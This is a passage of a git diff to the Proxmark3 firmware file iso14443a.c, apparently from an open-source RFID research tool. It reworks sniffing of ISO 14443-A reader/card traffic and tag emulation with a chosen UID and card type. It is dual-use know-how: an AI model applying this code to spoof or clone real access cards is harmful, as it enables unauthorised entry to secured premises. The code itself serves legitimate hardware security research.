X-Git-Url: https://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/blobdiff_plain/593924e751322492335634fca20e70d112becbac..2dcdf1a68371477cbf1b5faa8e157c131f0c2f1b:/armsrc/iso14443a.c diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 8c3293a6..b3316ef0 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1,4 +1,5 @@ //----------------------------------------------------------------------------- +// Merlok - June 2011, 2012 // Gerhard de Koning Gans - May 2008 // Hagen Fritsch - June 2010 // @@ -13,21 +14,27 @@ #include "apps.h" #include "util.h" #include "string.h" +#include "cmd.h" #include "iso14443crc.h" #include "iso14443a.h" +#include "crapto1.h" +#include "mifareutil.h" -static uint8_t *trace = (uint8_t *) BigBuf; -static int traceLen = 0; -static int rsamples = 0; -static int tracing = TRUE; static uint32_t iso14a_timeout; +uint8_t *trace = (uint8_t *) BigBuf+TRACE_OFFSET; +int traceLen = 0; +int rsamples = 0; +int tracing = TRUE; +uint8_t trigger = 0; +// the block number for the ISO14443-4 PCB +static uint8_t iso14_pcb_blocknum = 0; -// CARD TO READER +// CARD TO READER - manchester // Sequence D: 11110000 modulation with subcarrier during first half // Sequence E: 00001111 modulation with subcarrier during second half // Sequence F: 00000000 no modulation with subcarrier -// READER TO CARD +// READER TO CARD - miller // Sequence X: 00001100 drop after half a period // Sequence Y: 00000000 no drop // Sequence Z: 11000000 drop at start @@ -38,7 +45,7 @@ static uint32_t iso14a_timeout; #define SEC_Y 0x00 #define SEC_Z 0xc0 -static const uint8_t OddByteParity[256] = { +const uint8_t OddByteParity[256] = { 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, @@ -57,44 +64,56 @@ static const uint8_t OddByteParity[256] = { 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1 }; -// BIG CHANGE - UNDERSTAND THIS BEFORE WE COMMIT -#define RECV_CMD_OFFSET 3032 -#define RECV_RES_OFFSET 3096 -#define DMA_BUFFER_OFFSET 3160 -#define DMA_BUFFER_SIZE 4096 -#define TRACE_LENGTH 3000 -uint8_t trigger = 0; -void iso14a_set_trigger(int enable) { +void iso14a_set_trigger(bool enable) { trigger = enable; } +void iso14a_clear_trace() { + memset(trace, 0x44, TRACE_SIZE); + traceLen = 0; +} + +void iso14a_set_tracing(bool enable) { + tracing = enable; +} + +void iso14a_set_timeout(uint32_t timeout) { + iso14a_timeout = timeout; +} + //----------------------------------------------------------------------------- // Generate the parity value for a byte sequence // //----------------------------------------------------------------------------- +byte_t oddparity (const byte_t bt) +{ + return OddByteParity[bt]; +} + uint32_t GetParity(const uint8_t * pbtCmd, int iLen) { - int i; - uint32_t dwPar = 0; + int i; + uint32_t dwPar = 0; - // Generate the encrypted data - for (i = 0; i < iLen; i++) { - // Save the encrypted parity bit - dwPar |= ((OddByteParity[pbtCmd[i]]) << i); - } - return dwPar; + // Generate the encrypted data + for (i = 0; i < iLen; i++) { + // Save the encrypted parity bit + dwPar |= ((OddByteParity[pbtCmd[i]]) << i); + } + return dwPar; } void AppendCrc14443a(uint8_t* data, int len) { - ComputeCrc14443(CRC_14443_A,data,len,data+len,data+len+1); + ComputeCrc14443(CRC_14443_A,data,len,data+len,data+len+1); } -int LogTrace(const uint8_t * btBytes, int iLen, int iSamples, uint32_t dwParity, int bReader) +// The function LogTrace() is also used by the iClass implementation in iClass.c +int RAMFUNC LogTrace(const uint8_t * btBytes, int iLen, int iSamples, uint32_t dwParity, int bReader) { // Return when trace is full - if (traceLen >= TRACE_LENGTH) return FALSE; + if (traceLen >= TRACE_SIZE) return FALSE; // Trace the random, i'm curious rsamples += iSamples; @@ -119,36 +138,11 @@ int LogTrace(const uint8_t * btBytes, int iLen, int iSamples, uint32_t dwParity, // The software UART that receives commands from the reader, and its state // variables. //----------------------------------------------------------------------------- -static struct { - enum { - STATE_UNSYNCD, - STATE_START_OF_COMMUNICATION, - STATE_MILLER_X, - STATE_MILLER_Y, - STATE_MILLER_Z, - STATE_ERROR_WAIT - } state; - uint16_t shiftReg; - int bitCnt; - int byteCnt; - int byteCntMax; - int posCnt; - int syncBit; - int parityBits; - int samples; - int highCnt; - int bitBuffer; - enum { - DROP_NONE, - DROP_FIRST_HALF, - DROP_SECOND_HALF - } drop; - uint8_t *output; -} Uart; +static tUart Uart; static RAMFUNC int MillerDecoding(int bit) { - int error = 0; + //int error = 0; int bitright; if(!Uart.bitBuffer) { @@ -194,7 +188,7 @@ static RAMFUNC int MillerDecoding(int bit) // measured a drop in first and second half // which should not be possible Uart.state = STATE_ERROR_WAIT; - error = 0x01; + //error = 0x01; } Uart.posCnt = 0; @@ -205,7 +199,7 @@ static RAMFUNC int MillerDecoding(int bit) if(Uart.drop == DROP_SECOND_HALF) { // error, should not happen in SOC Uart.state = STATE_ERROR_WAIT; - error = 0x02; + //error = 0x02; } else { // correct SOC @@ -243,7 +237,7 @@ static RAMFUNC int MillerDecoding(int bit) // Would be STATE_MILLER_Z // but Z does not follow X, so error Uart.state = STATE_ERROR_WAIT; - error = 0x03; + //error = 0x03; } if(Uart.drop == DROP_SECOND_HALF) { // We see a '1' and stay in state X @@ -364,7 +358,7 @@ static RAMFUNC int MillerDecoding(int bit) Uart.bitCnt = 0; Uart.byteCnt = 0; Uart.parityBits = 0; - error = 0; + //error = 0; } else { Uart.highCnt = 0; @@ -383,38 +377,13 @@ static RAMFUNC int MillerDecoding(int bit) //============================================================================= // ISO 14443 Type A - Manchester //============================================================================= - -static struct { - enum { - DEMOD_UNSYNCD, - DEMOD_START_OF_COMMUNICATION, - DEMOD_MANCHESTER_D, - DEMOD_MANCHESTER_E, - DEMOD_MANCHESTER_F, - DEMOD_ERROR_WAIT - } state; - int bitCount; - int posCount; - int syncBit; - int parityBits; - uint16_t shiftReg; - int buffer; - int buff; - int samples; - int len; - enum { - SUB_NONE, - SUB_FIRST_HALF, - SUB_SECOND_HALF - } sub; - uint8_t *output; -} Demod; +static tDemod Demod; static RAMFUNC int ManchesterDecoding(int v) { int bit; int modulation; - int error = 0; + //int error = 0; if(!Demod.buff) { Demod.buff = 1; @@ -471,7 +440,7 @@ static RAMFUNC int ManchesterDecoding(int v) case 0x01: Demod.samples = 0; break; } } - error = 0; + //error = 0; } } else { @@ -495,7 +464,7 @@ static RAMFUNC int ManchesterDecoding(int v) if(Demod.state!=DEMOD_ERROR_WAIT) { Demod.state = DEMOD_ERROR_WAIT; Demod.output[Demod.len] = 0xaa; - error = 0x01; + //error = 0x01; } } else if(modulation) { @@ -510,7 +479,7 @@ static RAMFUNC int ManchesterDecoding(int v) else { Demod.output[Demod.len] = 0xab; Demod.state = DEMOD_ERROR_WAIT; - error = 0x02; + //error = 0x02; } break; @@ -548,7 +517,7 @@ static RAMFUNC int ManchesterDecoding(int v) else { Demod.output[Demod.len] = 0xad; Demod.state = DEMOD_ERROR_WAIT; - error = 0x03; + //error = 0x03; } break; @@ -608,180 +577,157 @@ static RAMFUNC int ManchesterDecoding(int v) // triggering so that we start recording at the point that the tag is moved // near the reader. //----------------------------------------------------------------------------- -void RAMFUNC SnoopIso14443a(void) -{ -// #define RECV_CMD_OFFSET 2032 // original (working as of 21/2/09) values -// #define RECV_RES_OFFSET 2096 // original (working as of 21/2/09) values -// #define DMA_BUFFER_OFFSET 2160 // original (working as of 21/2/09) values -// #define DMA_BUFFER_SIZE 4096 // original (working as of 21/2/09) values -// #define TRACE_LENGTH 2000 // original (working as of 21/2/09) values - - // We won't start recording the frames that we acquire until we trigger; - // a good trigger condition to get started is probably when we see a - // response from the tag. - int triggered = FALSE; // FALSE to wait first for card - - // The command (reader -> tag) that we're receiving. +void RAMFUNC SnoopIso14443a(uint8_t param) { + // param: + // bit 0 - trigger from first card answer + // bit 1 - trigger from first reader 7-bit request + + LEDsoff(); + // init trace buffer + iso14a_clear_trace(); + + // We won't start recording the frames that we acquire until we trigger; + // a good trigger condition to get started is probably when we see a + // response from the tag. + // triggered == FALSE -- to wait first for card + int triggered = !(param & 0x03); + + // The command (reader -> tag) that we're receiving. // The length of a received command will in most cases be no more than 18 bytes. // So 32 should be enough! - uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET); - // The response (tag -> reader) that we're receiving. - uint8_t *receivedResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET); + uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET); + // The response (tag -> reader) that we're receiving. + uint8_t *receivedResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET); - // As we receive stuff, we copy it from receivedCmd or receivedResponse - // into trace, along with its length and other annotations. - //uint8_t *trace = (uint8_t *)BigBuf; - - traceLen = 0; // uncommented to fix ISSUE 15 - gerhard - jan2011 - - // The DMA buffer, used to stream samples from the FPGA - int8_t *dmaBuf = ((int8_t *)BigBuf) + DMA_BUFFER_OFFSET; - int lastRxCounter; - int8_t *upTo; - int smpl; - int maxBehindBy = 0; - - // Count of samples received so far, so that we can include timing - // information in the trace buffer. - int samples = 0; - int rsamples = 0; - - memset(trace, 0x44, RECV_CMD_OFFSET); - - // Set up the demodulator for tag -> reader responses. - Demod.output = receivedResponse; - Demod.len = 0; - Demod.state = DEMOD_UNSYNCD; - - // Setup for the DMA. - FpgaSetupSsc(); - upTo = dmaBuf; - lastRxCounter = DMA_BUFFER_SIZE; - FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE); - - // And the reader -> tag commands - memset(&Uart, 0, sizeof(Uart)); - Uart.output = receivedCmd; - Uart.byteCntMax = 32; // was 100 (greg)//////////////////////////////////////////////////////////////////////// - Uart.state = STATE_UNSYNCD; + // As we receive stuff, we copy it from receivedCmd or receivedResponse + // into trace, along with its length and other annotations. + //uint8_t *trace = (uint8_t *)BigBuf; + + // The DMA buffer, used to stream samples from the FPGA + int8_t *dmaBuf = ((int8_t *)BigBuf) + DMA_BUFFER_OFFSET; + int8_t *data = dmaBuf; + int maxDataLen = 0; + int dataLen = 0; - // And put the FPGA in the appropriate mode - // Signal field is off with the appropriate LED - LED_D_OFF(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_SNIFFER); - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + // Set up the demodulator for tag -> reader responses. + Demod.output = receivedResponse; + Demod.len = 0; + Demod.state = DEMOD_UNSYNCD; + // Set up the demodulator for the reader -> tag commands + memset(&Uart, 0, sizeof(Uart)); + Uart.output = receivedCmd; + Uart.byteCntMax = 32; // was 100 (greg)////////////////// + Uart.state = STATE_UNSYNCD; - // And now we loop, receiving samples. - for(;;) { - LED_A_ON(); - WDT_HIT(); - int behindBy = (lastRxCounter - AT91C_BASE_PDC_SSC->PDC_RCR) & - (DMA_BUFFER_SIZE-1); - if(behindBy > maxBehindBy) { - maxBehindBy = behindBy; - if(behindBy > 400) { - Dbprintf("blew circular buffer! behindBy=0x%x", behindBy); - goto done; - } - } - if(behindBy < 1) continue; + // Setup for the DMA. + FpgaSetupSsc(); + FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE); - LED_A_OFF(); - smpl = upTo[0]; - upTo++; - lastRxCounter -= 1; - if(upTo - dmaBuf > DMA_BUFFER_SIZE) { - upTo -= DMA_BUFFER_SIZE; - lastRxCounter += DMA_BUFFER_SIZE; - AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) upTo; - AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; - } + // And put the FPGA in the appropriate mode + // Signal field is off with the appropriate LED + LED_D_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_SNIFFER); + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - samples += 4; - if(MillerDecoding((smpl & 0xF0) >> 4)) { - rsamples = samples - Uart.samples; - LED_C_ON(); - if(triggered) { - trace[traceLen++] = ((rsamples >> 0) & 0xff); - trace[traceLen++] = ((rsamples >> 8) & 0xff); - trace[traceLen++] = ((rsamples >> 16) & 0xff); - trace[traceLen++] = ((rsamples >> 24) & 0xff); - trace[traceLen++] = ((Uart.parityBits >> 0) & 0xff); - trace[traceLen++] = ((Uart.parityBits >> 8) & 0xff); - trace[traceLen++] = ((Uart.parityBits >> 16) & 0xff); - trace[traceLen++] = ((Uart.parityBits >> 24) & 0xff); - trace[traceLen++] = Uart.byteCnt; - memcpy(trace+traceLen, receivedCmd, Uart.byteCnt); - traceLen += Uart.byteCnt; - if(traceLen > TRACE_LENGTH) break; - } - /* And ready to receive another command. */ - Uart.state = STATE_UNSYNCD; - /* And also reset the demod code, which might have been */ - /* false-triggered by the commands from the reader. */ - Demod.state = DEMOD_UNSYNCD; - LED_B_OFF(); - } + // Count of samples received so far, so that we can include timing + // information in the trace buffer. + rsamples = 0; + // And now we loop, receiving samples. + while(true) { + if(BUTTON_PRESS()) { + DbpString("cancelled by button"); + goto done; + } - if(ManchesterDecoding(smpl & 0x0F)) { - rsamples = samples - Demod.samples; - LED_B_ON(); - - // timestamp, as a count of samples - trace[traceLen++] = ((rsamples >> 0) & 0xff); - trace[traceLen++] = ((rsamples >> 8) & 0xff); - trace[traceLen++] = ((rsamples >> 16) & 0xff); - trace[traceLen++] = 0x80 | ((rsamples >> 24) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 0) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 8) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 16) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 24) & 0xff); - // length - trace[traceLen++] = Demod.len; - memcpy(trace+traceLen, receivedResponse, Demod.len); - traceLen += Demod.len; - if(traceLen > TRACE_LENGTH) break; - - triggered = TRUE; - - // And ready to receive another response. - memset(&Demod, 0, sizeof(Demod)); - Demod.output = receivedResponse; - Demod.state = DEMOD_UNSYNCD; - LED_C_OFF(); - } + LED_A_ON(); + WDT_HIT(); - if(BUTTON_PRESS()) { - DbpString("cancelled_a"); - goto done; - } - } + int register readBufDataP = data - dmaBuf; + int register dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR; + if (readBufDataP <= dmaBufDataP){ + dataLen = dmaBufDataP - readBufDataP; + } else { + dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP + 1; + } + // test for length of buffer + if(dataLen > maxDataLen) { + maxDataLen = dataLen; + if(dataLen > 400) { + Dbprintf("blew circular buffer! dataLen=0x%x", dataLen); + goto done; + } + } + if(dataLen < 1) continue; + + // primary buffer was stopped( <-- we lost data! + if (!AT91C_BASE_PDC_SSC->PDC_RCR) { + AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; + } + // secondary buffer sets as primary, secondary buffer was stopped + if (!AT91C_BASE_PDC_SSC->PDC_RNCR) { + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; + } + + LED_A_OFF(); + + rsamples += 4; + if(MillerDecoding((data[0] & 0xF0) >> 4)) { + LED_C_ON(); + + // check - if there is a short 7bit request from reader + if ((!triggered) && (param & 0x02) && (Uart.byteCnt == 1) && (Uart.bitCnt = 9)) triggered = TRUE; + + if(triggered) { + if (!LogTrace(receivedCmd, Uart.byteCnt, 0 - Uart.samples, Uart.parityBits, TRUE)) break; + } + /* And ready to receive another command. */ + Uart.state = STATE_UNSYNCD; + /* And also reset the demod code, which might have been */ + /* false-triggered by the commands from the reader. */ + Demod.state = DEMOD_UNSYNCD; + LED_B_OFF(); + } - DbpString("COMMAND FINISHED"); + if(ManchesterDecoding(data[0] & 0x0F)) { + LED_B_ON(); - Dbprintf("%x %x %x", maxBehindBy, Uart.state, Uart.byteCnt); - Dbprintf("%x %x %x", Uart.byteCntMax, traceLen, (int)Uart.output[0]); + if (!LogTrace(receivedResponse, Demod.len, 0 - Demod.samples, Demod.parityBits, FALSE)) break; + + if ((!triggered) && (param & 0x01)) triggered = TRUE; + + // And ready to receive another response. + memset(&Demod, 0, sizeof(Demod)); + Demod.output = receivedResponse; + Demod.state = DEMOD_UNSYNCD; + LED_C_OFF(); + } + + data++; + if(data > dmaBuf + DMA_BUFFER_SIZE) { + data = dmaBuf; + } + } // main cycle + + DbpString("COMMAND FINISHED"); done: - AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; - Dbprintf("%x %x %x", maxBehindBy, Uart.state, Uart.byteCnt); - Dbprintf("%x %x %x", Uart.byteCntMax, traceLen, (int)Uart.output[0]); - LED_A_OFF(); - LED_B_OFF(); - LED_C_OFF(); - LED_D_OFF(); + AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; + Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.byteCnt=%x", maxDataLen, Uart.state, Uart.byteCnt); + Dbprintf("Uart.byteCntMax=%x, traceLen=%x, Uart.output[0]=%08x", Uart.byteCntMax, traceLen, (int)Uart.output[0]); + LEDsoff(); } //----------------------------------------------------------------------------- // Prepare tag messages //----------------------------------------------------------------------------- -static void CodeIso14443aAsTag(const uint8_t *cmd, int len) +static void CodeIso14443aAsTagPar(const uint8_t *cmd, int len, uint32_t dwParity) { - int i; - int oddparity; + int i; - ToSendReset(); + ToSendReset(); // Correction bit, might be removed when not needed ToSendStuffBit(0); @@ -792,59 +738,91 @@ static void CodeIso14443aAsTag(const uint8_t *cmd, int len) ToSendStuffBit(0); ToSendStuffBit(0); ToSendStuffBit(0); - + // Send startbit ToSend[++ToSendMax] = SEC_D; - for(i = 0; i < len; i++) { - int j; - uint8_t b = cmd[i]; + for(i = 0; i < len; i++) { + int j; + uint8_t b = cmd[i]; // Data bits - oddparity = 0x01; for(j = 0; j < 8; j++) { - oddparity ^= (b & 1); if(b & 1) { ToSend[++ToSendMax] = SEC_D; } else { ToSend[++ToSendMax] = SEC_E; - } - b >>= 1; - } + } + b >>= 1; + } - // Parity bit - if(oddparity) { - ToSend[++ToSendMax] = SEC_D; + // Get the parity bit + if ((dwParity >> i) & 0x01) { + ToSend[++ToSendMax] = SEC_D; } else { ToSend[++ToSendMax] = SEC_E; } - } - - // Send stopbit - ToSend[++ToSendMax] = SEC_F; - - // Flush the buffer in FPGA!! - for(i = 0; i < 5; i++) { - ToSend[++ToSendMax] = SEC_F; } - // Convert from last byte pos to length - ToSendMax++; + // Send stopbit + ToSend[++ToSendMax] = SEC_F; - // Add a few more for slop - ToSend[ToSendMax++] = 0x00; - ToSend[ToSendMax++] = 0x00; - //ToSendMax += 2; + // Convert from last byte pos to length + ToSendMax++; } -//----------------------------------------------------------------------------- -// This is to send a NACK kind of answer, its only 3 bits, I know it should be 4 -//----------------------------------------------------------------------------- -static void CodeStrangeAnswer() +static void CodeIso14443aAsTag(const uint8_t *cmd, int len){ + CodeIso14443aAsTagPar(cmd, len, GetParity(cmd, len)); +} + +////----------------------------------------------------------------------------- +//// This is to send a NACK kind of answer, its only 3 bits, I know it should be 4 +////----------------------------------------------------------------------------- +//static void CodeStrangeAnswerAsTag() +//{ +// int i; +// +// ToSendReset(); +// +// // Correction bit, might be removed when not needed +// ToSendStuffBit(0); +// ToSendStuffBit(0); +// ToSendStuffBit(0); +// ToSendStuffBit(0); +// ToSendStuffBit(1); // 1 +// ToSendStuffBit(0); +// ToSendStuffBit(0); +// ToSendStuffBit(0); +// +// // Send startbit +// ToSend[++ToSendMax] = SEC_D; +// +// // 0 +// ToSend[++ToSendMax] = SEC_E; +// +// // 0 +// ToSend[++ToSendMax] = SEC_E; +// +// // 1 +// ToSend[++ToSendMax] = SEC_D; +// +// // Send stopbit +// ToSend[++ToSendMax] = SEC_F; +// +// // Flush the buffer in FPGA!! +// for(i = 0; i < 5; i++) { +// ToSend[++ToSendMax] = SEC_F; +// } +// +// // Convert from last byte pos to length +// ToSendMax++; +//} + +static void Code4bitAnswerAsTag(uint8_t cmd) { int i; - ToSendReset(); + ToSendReset(); // Correction bit, might be removed when not needed ToSendStuffBit(0); @@ -859,16 +837,17 @@ static void CodeStrangeAnswer() // Send startbit ToSend[++ToSendMax] = SEC_D; - // 0 - ToSend[++ToSendMax] = SEC_E; - - // 0 - ToSend[++ToSendMax] = SEC_E; - - // 1 - ToSend[++ToSendMax] = SEC_D; + uint8_t b = cmd; + for(i = 0; i < 4; i++) { + if(b & 1) { + ToSend[++ToSendMax] = SEC_D; + } else { + ToSend[++ToSendMax] = SEC_E; + } + b >>= 1; + } - // Send stopbit + // Send stopbit ToSend[++ToSendMax] = SEC_F; // Flush the buffer in FPGA!! @@ -876,13 +855,8 @@ static void CodeStrangeAnswer() ToSend[++ToSendMax] = SEC_F; } - // Convert from last byte pos to length - ToSendMax++; - - // Add a few more for slop - ToSend[ToSendMax++] = 0x00; - ToSend[ToSendMax++] = 0x00; - //ToSendMax += 2; + // Convert from last byte pos to length + ToSendMax++; } //----------------------------------------------------------------------------- @@ -925,96 +899,196 @@ static int GetIso14443aCommandFromReader(uint8_t *received, int *len, int maxLen } } -//----------------------------------------------------------------------------- -// Main loop of simulated tag: receive commands from reader, decide what -// response to send, and send it. -//----------------------------------------------------------------------------- -void SimulateIso14443aTag(int tagType, int TagUid) -{ - // This function contains the tag emulation - - // Prepare protocol messages - // static const uint8_t cmd1[] = { 0x26 }; -// static const uint8_t response1[] = { 0x02, 0x00 }; // Says: I am Mifare 4k - original line - greg -// - static const uint8_t response1[] = { 0x44, 0x03 }; // Says: I am a DESFire Tag, ph33r me -// static const uint8_t response1[] = { 0x44, 0x00 }; // Says: I am a ULTRALITE Tag, 0wn me - - // UID response - // static const uint8_t cmd2[] = { 0x93, 0x20 }; - //static const uint8_t response2[] = { 0x9a, 0xe5, 0xe4, 0x43, 0xd8 }; // original value - greg - -// my desfire - static const uint8_t response2[] = { 0x88, 0x04, 0x21, 0x3f, 0x4d }; // known uid - note cascade (0x88), 2nd byte (0x04) = NXP/Phillips - - -// When reader selects us during cascade1 it will send cmd3 -//uint8_t response3[] = { 0x04, 0x00, 0x00 }; // SAK Select (cascade1) successful response (ULTRALITE) -uint8_t response3[] = { 0x24, 0x00, 0x00 }; // SAK Select (cascade1) successful response (DESFire) -ComputeCrc14443(CRC_14443_A, response3, 1, &response3[1], &response3[2]); - -// send cascade2 2nd half of UID -static const uint8_t response2a[] = { 0x51, 0x48, 0x1d, 0x80, 0x84 }; // uid - cascade2 - 2nd half (4 bytes) of UID+ BCCheck -// NOTE : THE CRC on the above may be wrong as I have obfuscated the actual UID - -// When reader selects us during cascade2 it will send cmd3a -//uint8_t response3a[] = { 0x00, 0x00, 0x00 }; // SAK Select (cascade2) successful response (ULTRALITE) -uint8_t response3a[] = { 0x20, 0x00, 0x00 }; // SAK Select (cascade2) successful response (DESFire) -ComputeCrc14443(CRC_14443_A, response3a, 1, &response3a[1], &response3a[2]); - - static const uint8_t response5[] = { 0x00, 0x00, 0x00, 0x00 }; // Very random tag nonce - - uint8_t *resp; - int respLen; +static int EmSendCmd14443aRaw(uint8_t *resp, int respLen, int correctionNeeded); +int EmSend4bitEx(uint8_t resp, int correctionNeeded); +int EmSend4bit(uint8_t resp); +int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par); +int EmSendCmdExPar(uint8_t *resp, int respLen, int correctionNeeded, uint32_t par); +int EmSendCmdEx(uint8_t *resp, int respLen, int correctionNeeded); +int EmSendCmd(uint8_t *resp, int respLen); +int EmSendCmdPar(uint8_t *resp, int respLen, uint32_t par); + +static uint8_t* free_buffer_pointer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); + +typedef struct { + uint8_t* response; + size_t response_n; + uint8_t* modulation; + size_t modulation_n; +} tag_response_info_t; + +void reset_free_buffer() { + free_buffer_pointer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); +} - // Longest possible response will be 16 bytes + 2 CRC = 18 bytes - // This will need +bool prepare_tag_modulation(tag_response_info_t* response_info, size_t max_buffer_size) { + // Exmaple response, answer to MIFARE Classic read block will be 16 bytes + 2 CRC = 18 bytes + // This will need the following byte array for a modulation sequence // 144 data bits (18 * 8) // 18 parity bits // 2 Start and stop // 1 Correction bit (Answer in 1172 or 1236 periods, see FPGA) // 1 just for the case // ----------- + - // 166 - // - // 166 bytes, since every bit that needs to be send costs us a byte + // 166 bytes, since every bit that needs to be send costs us a byte // + + // Prepare the tag modulation bits from the message + CodeIso14443aAsTag(response_info->response,response_info->response_n); + + // Make sure we do not exceed the free buffer space + if (ToSendMax > max_buffer_size) { + Dbprintf("Out of memory, when modulating bits for tag answer:"); + Dbhexdump(response_info->response_n,response_info->response,false); + return false; + } + + // Copy the byte array, used for this modulation to the buffer position + memcpy(response_info->modulation,ToSend,ToSendMax); + + // Store the number of bytes that were used for encoding/modulation + response_info->modulation_n = ToSendMax; + + return true; +} - // Respond with card type - uint8_t *resp1 = (((uint8_t *)BigBuf) + 800); - int resp1Len; - - // Anticollision cascade1 - respond with uid - uint8_t *resp2 = (((uint8_t *)BigBuf) + 970); - int resp2Len; - - // Anticollision cascade2 - respond with 2nd half of uid if asked - // we're only going to be asked if we set the 1st byte of the UID (during cascade1) to 0x88 - uint8_t *resp2a = (((uint8_t *)BigBuf) + 1140); - int resp2aLen; - - // Acknowledge select - cascade 1 - uint8_t *resp3 = (((uint8_t *)BigBuf) + 1310); - int resp3Len; +bool prepare_allocated_tag_modulation(tag_response_info_t* response_info) { + // Retrieve and store the current buffer index + response_info->modulation = free_buffer_pointer; + + // Determine the maximum size we can use from our buffer + size_t max_buffer_size = (((uint8_t *)BigBuf)+FREE_BUFFER_OFFSET+FREE_BUFFER_SIZE)-free_buffer_pointer; + + // Forward the prepare tag modulation function to the inner function + if (prepare_tag_modulation(response_info,max_buffer_size)) { + // Update the free buffer offset + free_buffer_pointer += ToSendMax; + return true; + } else { + return false; + } +} - // Acknowledge select - cascade 2 - uint8_t *resp3a = (((uint8_t *)BigBuf) + 1480); - int resp3aLen; +//----------------------------------------------------------------------------- +// Main loop of simulated tag: receive commands from reader, decide what +// response to send, and send it. +//----------------------------------------------------------------------------- +void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data) +{ + // Enable and clear the trace + tracing = TRUE; + iso14a_clear_trace(); - // Response to a read request - not implemented atm - uint8_t *resp4 = (((uint8_t *)BigBuf) + 1550); - int resp4Len; + // This function contains the tag emulation + uint8_t sak; - // Authenticate response - nonce - uint8_t *resp5 = (((uint8_t *)BigBuf) + 1720); - int resp5Len; + // The first response contains the ATQA (note: bytes are transmitted in reverse order). + uint8_t response1[2]; + + switch (tagType) { + case 1: { // MIFARE Classic + // Says: I am Mifare 1k - original line + response1[0] = 0x04; + response1[1] = 0x00; + sak = 0x08; + } break; + case 2: { // MIFARE Ultralight + // Says: I am a stupid memory tag, no crypto + response1[0] = 0x04; + response1[1] = 0x00; + sak = 0x00; + } break; + case 3: { // MIFARE DESFire + // Says: I am a DESFire tag, ph33r me + response1[0] = 0x04; + response1[1] = 0x03; + sak = 0x20; + } break; + case 4: { // ISO/IEC 14443-4 + // Says: I am a javacard (JCOP) + response1[0] = 0x04; + response1[1] = 0x00; + sak = 0x28; + } break; + default: { + Dbprintf("Error: unkown tagtype (%d)",tagType); + return; + } break; + } + + // The second response contains the (mandatory) first 24 bits of the UID + uint8_t response2[5]; + + // Check if the uid uses the (optional) part + uint8_t response2a[5]; + if (uid_2nd) { + response2[0] = 0x88; + num_to_bytes(uid_1st,3,response2+1); + num_to_bytes(uid_2nd,4,response2a); + response2a[4] = response2a[0] ^ response2a[1] ^ response2a[2] ^ response2a[3]; + + // Configure the ATQA and SAK accordingly + response1[0] |= 0x40; + sak |= 0x04; + } else { + num_to_bytes(uid_1st,4,response2); + // Configure the ATQA and SAK accordingly + response1[0] &= 0xBF; + sak &= 0xFB; + } - uint8_t *receivedCmd = (uint8_t *)BigBuf; - int len; + // Calculate the BitCountCheck (BCC) for the first 4 bytes of the UID. + response2[4] = response2[0] ^ response2[1] ^ response2[2] ^ response2[3]; + + // Prepare the mandatory SAK (for 4 and 7 byte UID) + uint8_t response3[3]; + response3[0] = sak; + ComputeCrc14443(CRC_14443_A, response3, 1, &response3[1], &response3[2]); + + // Prepare the optional second SAK (for 7 byte UID), drop the cascade bit + uint8_t response3a[3]; + response3a[0] = sak & 0xFB; + ComputeCrc14443(CRC_14443_A, response3a, 1, &response3a[1], &response3a[2]); + + uint8_t response5[] = { 0x00, 0x00, 0x00, 0x00 }; // Very random tag nonce + uint8_t response6[] = { 0x04, 0x58, 0x00, 0x02, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS + ComputeCrc14443(CRC_14443_A, response6, 4, &response6[4], &response6[5]); + + #define TAG_RESPONSE_COUNT 7 + tag_response_info_t responses[TAG_RESPONSE_COUNT] = { + { .response = response1, .response_n = sizeof(response1) }, // Answer to request - respond with card type + { .response = response2, .response_n = sizeof(response2) }, // Anticollision cascade1 - respond with uid + { .response = response2a, .response_n = sizeof(response2a) }, // Anticollision cascade2 - respond with 2nd half of uid if asked + { .response = response3, .response_n = sizeof(response3) }, // Acknowledge select - cascade 1 + { .response = response3a, .response_n = sizeof(response3a) }, // Acknowledge select - cascade 2 + { .response = response5, .response_n = sizeof(response5) }, // Authentication answer (random nonce) + { 